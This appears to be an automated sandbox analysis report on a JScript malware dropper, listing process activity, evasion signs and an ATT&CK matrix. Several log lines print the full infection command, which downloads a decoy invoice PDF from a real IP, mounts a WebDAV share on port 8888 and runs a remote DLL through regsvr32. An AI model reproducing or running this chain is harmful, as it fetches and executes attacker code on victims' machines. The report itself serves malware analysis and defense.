Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1177.js.csv");ITextStream.WriteLine(" entry:8435 f:qxjdjps");ITextStream.WriteLine(" exec:2 f:qxjdjps");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49794

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6331			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3421			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7668	Thread sleep count: 6331 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7672	Thread sleep count: 3421 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7692	Thread sleep count: 55 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7748	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7772	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7968	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2652	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1441354534.000001D218DEB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1441354534.000001D218D88000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2643349680.0000011A1B056000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.2641969434.0000011A15A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPz

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
